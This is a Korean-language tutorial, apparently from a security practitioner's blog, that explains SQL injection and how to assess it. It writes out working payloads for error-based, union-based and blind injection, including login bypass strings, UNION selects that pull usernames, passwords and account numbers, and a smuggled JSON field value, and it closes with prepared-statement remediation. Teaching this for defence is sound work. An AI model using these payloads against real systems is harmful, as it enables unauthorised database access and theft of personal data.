SQL Injection(SQL 삽입)은 사용자가 간섭 가능한 매개변수(URL 파라미터, XML 등)에 의해 SQL 질의문이 완성되는 점을 이용하여, 개발자가 예상하지 못했던 SQL 문장이 실행되게 함으로써 비정상 질의 가능 여부를 점검하는 공격 기법이다.
이 취약점은 주로 애플리케이션이 사용자 입력을 제대로 검증하지 않고 SQL 쿼리에 포함시키는 경우 발생한다.
'여기어때'에서 발생한 개인정보 유출사건과 '뽐뿌'에서 발생한 개인정보 유출 사건 모두 SQL Injection 을 통해 발생한 피해이다.
대화형 웹사이트는 사용자의 입력 값을 이용하여 데이터 베이스 접근을 위한 SQL쿼리를 만들어 구현된다. SQL Injection은 웹 애플리케이션과 데이터베이스 간의 연동에서 발생하는 취약점으로, 공격자가 입력 폼에 악의적으로 조작된 쿼리를 삽입하여 데이터베이스 정보를 불법적으로 열람하거나 조작할 수 있는 취약점이다.
비정상적인 SQL 쿼리로 DBMS 및 데이터(Data)를 열람하거나 조작 가능하므로 사용자의 입력 값에 대한 필터링을 구현해야 한다.
📍 SQL Injection에 관하여!(feat. 경험)
SQL 인젝션은 테스트를 통해서는 발견하기 힘들지만 스캐닝툴이나 보안솔루션들을 거치면 보통 쉽게 발견되기 때문에 탐지하기는 쉽다. 최근에는 이러한 스캐닝툴이나 점검 툴들이 매우 잘나오고 있다.
하지만 공격에 성공할 경우, DB에 직접 접근이 가능하고 개인정보유출 등 큰 피해를 입힐 수 있기 때문에 보안에 각별한 주의가 필요하다.
가장 대중적인 방법으로, 공격자가 데이터베이스 시스템의 오류 메시지를 통해 시스템의 내부 정보를 획득하는 방법이다. 이 방법은 오류 메시지를 통해 테이블 구조, 열 이름, 데이터베이스 버전 등의 정보를 얻을 수 있다.
1. 일반적인 sql 예시
아래와 같은 사용자 입력폼이 있다고 가정해보자.
SELECT * FROM users WHERE username = '$username' AND password = '$password';
2. 구문
로그인 폼에서 username 대신 아래 구문을 입력하면 된다.
' OR 1=1; --
3. 실행되는 SQL문
위 구문을 입력하면 아래와 같은 sql 문이 완성되고 실행된다.
SELECT * FROM users WHERE username = '[구문이 들어가는 위치]' AND password = '$password';
SELECT * FROM users WHERE username = '' OR 1=1; --' AND password = '';
4. 에러메시지를 통한 정보 획득
SQL 문이 작동하는 것을 확인하면 특정 정보를 얻기 위해, 데이터베이스에서 의도적으로 오류를 유발하는 SQL 코드를 삽입한다.
' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT database()), 0x3a, FLOOR(RAND(0)*2)) AS x FROM information_schema.tables GROUP BY x) AS y); --
5. 결과 확인
에러 메시지를 사용자에게 그대로 노출하는지 확인한다. 또한 그 안에 중요한 내부 정보가 포함되어 있는지 확인한다.
Union-Based SQL Injection은 UNION SQL 연산자를 악용하여 공격자가 추가적인 데이터를 반환하게 하는 기법이다. 두 개 이상의 SELECT 쿼리의 결과를 하나의 결과 집합으로 결합하는 UNION 명령어의 특성을 이용하며, 원래의 쿼리 결과에 추가적인 데이터를 포함시켜 민감한 정보를 유출시킬 수 있다.
1. 일반적인 sql 예시
검색 기능이 있는 웹사이트에서는 아래와 같은 쿼리로 데이터를 조회한다.
SELECT name, description FROM products WHERE category = '$category';
2. 구문
UNION 연산자를 사용하기 위해서는 두 쿼리의 컬럼 수가 동일해야 한다.
따라서 ORDER BY 절이나 HAVING을 이용한 오류 메시지를 통해 원래 쿼리에서 반환되는 컬럼의 수를 파악한다.
🌱컬럼 수 확인 쿼리
' ORDER BY 3; --
' UNION SELECT NULL, NULL; --
아래의 공격 쿼리를 통해 원하는 정보를 추출한다.
🌱공격 쿼리
' UNION SELECT username, password FROM users; --
3. 실행되는 SQL문
SELECT name, description FROM products WHERE category = ''
UNION SELECT username, password FROM users; --
4. 결과 확인
반환된 데이터에서 필요한 정보를 확인한다. 정보를 확인한 후 더 많은 정보를 추출하는 추가적인 공격을 수행할 수 있다.
응답 페이지에 직접적으로 데이터베이스의 결과가 표시되지 않을 때 사용되는 공격 기법이다. Limit, SUBSTR, ASCII를 사용해서 조건이 참이면 페이지가 정상적으로 출력되고 그렇지 않을 경우 출력되지 않음으로 구분이 가능하다.
1. 일반적인 sql 예시
SELECT * FROM users WHERE id = $id;
2. 구문
1' AND 1=1; --
1' AND (SELECT LENGTH(database())) = 8; -- //길이 추출
1' AND (SELECT SUBSTRING(table_name, 1, 1) FROM information_schema.tables WHERE table_schema = DATABASE() LIMIT 0,1) = 'a'; -- //문자 하나씩 추출
값을 조금씩 바꿔가며 데이터베이스 이름의 길이가 8자인지를 판단할 수 있다.
테이블 이름 또한 값을 조금씩 바꿔가며 데이터베이스 이름을 추출할 수 있다.
3. 실행되는 SQL문
SELECT * FROM users WHERE id = '1' AND (SELECT LENGTH(database())) = 8; -- ';
SELECT * FROM users WHERE id = '1' AND (SELECT SUBSTRING(table_name, 1, 1) FROM information_schema.tables WHERE table_schema = DATABASE() LIMIT 0,1) = 'a'; -- ';
SUBSTRING(table_name, 1, 1)는 table_name에서 첫 번째 문자를 추출한다.
FROM information_schema.tables WHERE table_schema = DATABASE()은 현재 데이터베이스의 테이블 이름을 가져온다.
LIMIT 0,1은 첫 번째 테이블만 조회한다.
만약 첫 번째 테이블 이름의 첫 번째 문자가 'a'라면, id가 '1'인 사용자 정보를 반환한다.
4. 결과 확인
참/거짓 조건에 따라 응답 시간이 달라지는 것을 이용하여 공격자는 데이터를 추출할 수 있다.
📍 이 외에 Stored Procedure based SQL Injection 기법과 Mass SQL Injection 등이 있지만 실제로 많이 사용하는 기법이 아니기 때문에 생략했다.
🌱 양호
사용자 입력을 SQL 쿼리로 전달할 때 입력값의 유효성을 철저히 검증하고, 예외 처리를 통해 SQL Injection을 방지하는 코드를 구현하였다.
Prepared statements와 매개변수화된 쿼리(parameterized queries)를 사용하여 입력값이 쿼리의 일부분으로 해석되지 않는다.
입력값에 대한 길이, 형식, 범위 등의 검증을 수행한다.
💊 취약
사용자 입력값을 SQL 쿼리에 직접 포함시켜 사용하는 경우 취약이다.
데이터베이스 오류 메시지가 클라이언트에게 그대로 노출된다.
준비된 쿼리나 매개변수화된 쿼리를 사용하지 않고, 문자열 연결을 통해 쿼리를 생성한다.
사용자로부터 전달되는 모든 파라미터에 임의의 쿼리문을 주입하여 유도된 값이 나오는지를 점검한다.
{"qna_id":"false UNION select username as title, password as content, account_number as write_at from users where true LIMIT 1,2; -- "}
입력 값에 대한 검증 로직을 구현하여 사전에 정의된 특수 문자들이 입력되지 않도록 조치한다.
Prepared Statement 구문을 사용하여 개발을 함으로써 입력 값에 들어가는 데이터는 단순히 문자열로 처리되도록 조치한다.
불필요한 데이터베이스 에러 메시지가 사용자에게 노출이 되지 않도록 주의한다.
SQL Injection 은 보안을 모르는 사람이라도 한번쯤 들어봤을 취약점이다. 실제로 현업에서 SQL Injection을 시도했을 때 공격에 성공하는 경우가 많았다. 하지만 공격에 성공하더라도 민감한 정보는 추출되지 않고 중요한 정보의 경우 검증을 수행했다. 이러한 경우 공격에 성공하더라도 취약점으로 치지 않는다. 최근에는 보안 솔루션, 정적 분석 도구에서 대부분의 SQL Injection을 알아서 처리해준다.
그래서 내 생각에는 SQL Injection 을 점검하는 방법보다는 SQL Injection 이 일어나지 않도록 시큐어 코딩을 하는 방법을 알아두는 것이 더 필요한 것 같다. 그래도 SQL Injection 에 대해서 좀 더 공부하고 싶다면 '워게임'이라고 게임을 통해 학습할 수 있는 방법이 있다.
최근에는 워게임 관련 다양한 사이트들이 있는 것 같은데 1단계부터 차근차근히 풀어보면 된다.